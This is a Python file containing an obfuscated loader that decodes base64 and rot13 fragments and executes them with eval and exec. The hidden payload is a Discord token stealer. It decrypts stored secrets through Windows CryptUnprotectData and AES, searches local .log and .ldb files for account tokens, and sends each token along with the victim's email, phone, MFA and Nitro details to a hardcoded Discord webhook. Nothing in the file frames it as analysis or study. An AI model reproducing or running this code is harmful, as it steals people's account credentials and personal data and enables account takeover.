import base64, codecs magic = 'ZnJvbSBjdHlwZXMgaW1wb3J0IHdpbmRsbCwgd2ludHlwZXMsIGJ5cmVmLCBjZGxsLCBTdHJ1Y3R1cmUsIFBPSU5URVIsIGNfY2hhciwgY19idWZmZXINCmZyb20gdXJsbGliLnJlcXVlc3QgaW1wb3J0IFJlcXVlc3QsIHVybG9wZW4NCmltcG9ydCBvcywgdGhyZWFkaW5nLCBzaHV0aWwsIHN5cywgcmUNCmZyb20ganNvbiBpbXBvcnQgbG9hZHMgYXMganNvbl9sb2Fkcw0KZnJvbSBDcnlwdG8uQ2lwaGVyIGltcG9ydCBBRVMNCmZyb20gYmFzZTY0IGltcG9ydCBiNjRkZWNvZGUNCmZyb20ganNvbiBpbXBvcnQgKg0KaW1wb3J0IHJlcXVlc3RzDQoNCndlYmhvb2sgPSAiaHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTIxODIwMDg0NzA3MTA1NjAzMy9Ya2xvY1M3US1vRHQ3RzFVMEVUMEtwaTFBbmVVZzhhU3VPSDY5M0tWcm5kdjlDU1ROWmNWSGVvUV9LdDBvWjNqUTVLOSINCg0KDQoNCmxvY2FsID0gb3MuZ2V0ZW52KCdMT0NBTEFQUERBVEEnKQ0Kcm9hbWluZyA9IG9zLmdldGVudignQVBQREFUQScpDQp0ZW1wID0gb3MuZ2V0ZW52KCJURU1QIikNCg0KVGhyZWFkbGlzdCA9IFtdDQoNCg0KY2xhc3MgREFUQV9CTE9CKFN0cnVjdHVyZSk6DQogICAgX2ZpZWxkc18gPSBbDQogICAgICAgICgnY2JEYXRhJywgd2ludHlwZXMuRFdPUkQpLA0KICAgICAgICAoJ3BiRGF0YScsIFBPSU5URVIoY19jaGFyKSkNCiAgICBdDQoNCg0KZGVmIEdldERhdGEoYmxvYl9vdXQpOg0KICAgIGNiRGF0YSA9IGludChibG9iX291dC5jYkRhdGEpDQogICAgcGJEYXRhID0gYmxvYl9vdXQucGJEYXRhDQogICAgYnVmZmVyID0gY19idWZmZXIoY2JEYXRhKQ0KICAgIGNkbGwubXN2Y3J0Lm1lbWNweShidWZmZXIsIHBiRGF0YSwgY2JEYXRhKQ0KICAgIHdpbmRsbC5rZXJuZWwzMi5Mb2NhbEZyZWUocGJEYXRhKQ0KICAgIHJldHVybiBidWZmZXIucmF3DQoNCg0KZGVmIENyeXB0VW5wcm90ZWN0RGF0YShlbmNyeXB0ZWRfYnl0ZXMsIGVudHJvcHk9YicnKToNCiAgICBidWZmZXJfaW4gPSBjX2J1ZmZlcihlbmNyeXB0ZWRfYnl0ZXMsIGxlbihlbmNyeXB0ZWRfYnl0ZXMpKQ0KICAgIGJ1ZmZlcl9lbnRyb3B5ID0gY19idWZmZXIoZW50cm9weSwgbGVuKGVudHJvcHkpKQ0KICAgIGJsb2JfaW4gPSBEQVRBX0JMT0IobGVuKGVuY3J5cHRlZF9ieXRlcyksIGJ1ZmZlcl9pbikNCiAgICBibG9iX2VudHJvcHkgPSBEQVRBX0JMT0IobGVuKGVudHJvcHkpLCBidWZmZXJfZW50cm9weSkNCiAgICBibG9iX291dCA9IERBVEFfQkxPQigpDQogICAgaWYgd2luZGxsLmNyeXB0MzIuQ3J5cHRVbnByb3RlY3REYXRhKGJ5cmVmKGJsb2JfaW4pLCBOb25lLCBieXJlZihibG9iX2VudHJvcHkpLCBOb25lLCBOb25lLCAweDAxLCBieXJlZihibG9iX291dCkpOg0KICAgICAgICByZXR1cm4gR2V0RGF0YShibG9iX291dCkNCg0KDQpkZWYgRGVjcnlwdFZhbHVlKGJ1ZmYsIG1hc3Rlcl9rZXk9Tm9uZSk6DQogICAgc3RhcnRzID0gYnVmZi5kZWNvZGUoZW5jb2Rpbmc9J3V0ZjgnLCBlcnJvcnM9J2lnbm9yZScpWzozXQ0KICAgIGlmIHN0YXJ0cyA9PSAndjEwJyBvciBzdGFydHMgPT0gJ3YxMSc6DQogICAgICAgIGl2ID0gYnVmZlszOjE1XQ0KICAgICAgICBwYXlsb2FkID0gYnVmZlsxNTpdDQogICAgICAgIGNpcGhlciA9IEFFUy5uZXcobWFzdGVyX2tleSwgQUVTLk1PREVfR0NNLCBpdikNCiAgICAgICAgZGVjcnlwdGVkX3Bhc3MgPSBjaXBoZXIuZGVjcnlwdChwYXlsb2FkKQ0KICAgICAgICBkZWNyeXB0ZWRfcGFzcyA9IGRlY3J5cHRlZF9wYXNzWzotMTZdLmRlY29kZSgpDQogICAgICAgIHJldHVybiBkZWNyeXB0ZWRfcGFzcw0KDQoNCmRlZiBMb2FkVXJsaWIod2ViaG9vaywgZGF0YT0nJywgaGVhZGVycz0nJyk6DQogICAgICAgIHRyeToNCiAgICAgICAgICAgIGlmIGhlYWRlcnMgIT0gJyc6DQogICAgICAgICAgICAgICAgciA9IHVybG9wZW4oUmVxdWVzdCh3ZWJob29rLCBkYXRhPWRhdGEsIGhlYW' love = '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' god = 'YXInXX0ucG5nIg0KICAgIG5pdHJvID0gew0KICAgICAgICAwOiAnTm9uZScsDQogICAgICAgIDE6ICdOaXRybyBDbGFzc2ljJywNCiAgICAgICAgMjogJ05pdHJvJywNCiAgICAgICAgMzogJ05pdHJvIEJhc2ljJw0KICAgIH0uZ2V0KHVzZXJbJ3ByZW1pdW1fdHlwZSddLCAnTm9uZScpDQogICAgYmlvID0gdXNlci5nZXQoJ2JpbycsICcnKQ0KDQogICAgIyDsnoTrsqDrk5wg66mU7Iuc7KeAIOyDneyEsQ0KICAgIGVtYmVkX2RhdGEgPSB7DQogICAgICAgICJ1c2VybmFtZSI6ICJNYW5nY2hpIFFSIEdyYWJiZXIiLA0KICAgICAgICAiYXZhdGFyX3VybCI6IGF2YXRhciwNCiAgICAgICAgImNvbnRlbnQiOiBOb25lLA0KICAgICAgICAiZW1iZWRzIjogWw0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICJ0aXRsZSI6IHVzZXJuYW1lLA0KICAgICAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICcnLA0KICAgICAgICAgICAgICAgICJjb2xvciI6IDB4MDBEOEZGLA0KICAgICAgICAgICAgICAgICJmaWVsZHMiOiBbDQogICAgICAgICAgICAgICAgICAgIHsibmFtZSI6ICJUb2tlbjoiLCAidmFsdWUiOiBmImBgYHt0b2tlbn1gYGBcbltDbGljayB0byBjb3B5IV0oaHR0cHM6Ly9wYXN0ZS1wZ3BqLm9ucmVuZGVyLmNvbS8/cD17dG9rZW59KVxuXHUyMDBiIiwgImlubGluZSI6IEZhbHNlfSwNCiAgICAgICAgICAgICAgICAgICAgeyJuYW1lIjogIk5pdHJvOiIsICJ2YWx1ZSI6IG5pdHJvLCAiaW5saW5lIjogVHJ1ZX0sDQogICAgICAgICAgICAgICAgICAgIHsibmFtZSI6ICJNRkE6IiwgInZhbHVlIjogbWZhLCAiaW5saW5lIjogVHJ1ZX0sDQogICAgICAgICAgICAgICAgICAgIHsibmFtZSI6ICJcdTIwMGIiLCAidmFsdWUiOiAiXHUyMDBiIiwgImlubGluZSI6IEZhbHNlfSwNCiAgICAgICAgICAgICAgICAgICAgeyJuYW1lIjogIkVtYWlsOiIsICJ2YWx1ZSI6IGVtYWlsLCAiaW5saW5lIjogVHJ1ZX0sDQogICAgICAgICAgICAgICAgICAgIHsibmFtZSI6ICJQaG9uZToiLCAidmFsdWUiOiBwaG9uZSwgImlubGluZSI6IFRydWV9LA0KICAgICAgICAgICAgICAgICAgICB7Im5hbWUiOiAiXHUyMDBiIiwgInZhbHVlIjogIlx1MjAwYiIsICJpbmxpbmUiOiBGYWxzZX0sDQogICAgICAgICAgICAgICAgICAgIHsibmFtZSI6ICJCaW86IiwgInZhbHVlIjogZiJgYGBcbntiaW99YGBgIiwgImlubGluZSI6IEZhbHNlfQ0KICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgIH0NCiAgICAgICAgXQ0KICAgIH0NCg0KICAgICMg65SU7Iqk7L2U65OcIOybue2bheyXkCBQT1NUIOyalOyyrSDrs7TrgrTquLANCiAgICByZXNwb25zZSA9IHJlcXVlc3RzLnBvc3Qod2ViaG9vaywganNvbj1lbWJlZF9kYXRhKQ0KDQpUb2tlbnMgPSAnJw0KDQpkZWYgZ2V0VG9rZW4ocGF0aCwgYXJnKToNCiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMocGF0aCk6IHJldHVybg0KICAgIHBhdGggKz0gYXJnDQogICAgZm9yIGZpbGUgaW4gb3MubGlzdGRpcihwYXRoKToNCiAgICAgICAgaWYgZmlsZS5lbmRzd2l0aCgiLmxvZyIpIG9yIGZpbGUuZW5kc3dpdGgoIi5sZGIiKToNCiAgICAgICAgICAgIGZvciBsaW5lIGluIFt4LnN0cmlwKCkgZm9yIHggaW4gb3BlbihmIntwYXRofVxce2ZpbGV9IiwgZXJyb3JzPSJpZ25vcmUiKS5yZWFkbGluZXMoKSBpZiB4LnN0cmlwKCldOg0KICAgICAgICAgICAgICAgIGZvciByZWdleCBpbiAociJbXHctXXsyNH1cLltcdy1dezZ9XC5bXHctXXsyNSwxMTB9IiwgciJtZmFcLltcdy1dezgwLDk1fSIpOg0KICAgICAgICAgICAgICAgICAgICBmb3IgdG9rZW4gaW4gcmUuZmluZGFsbChyZWdleCwgbGluZSk6DQogICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgVG9rZW5zDQogICAgICAgICAgICAgICAgICAgICAgICBpZiBDaGVrVG9rZW4odG9rZW4pOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG5vdCB0b2tlbiBpbiBUb2tlbnM6DQ' destiny = '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' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval( '\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval( '\x67\x6f\x64') + eval( '\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')), '', 'exec'))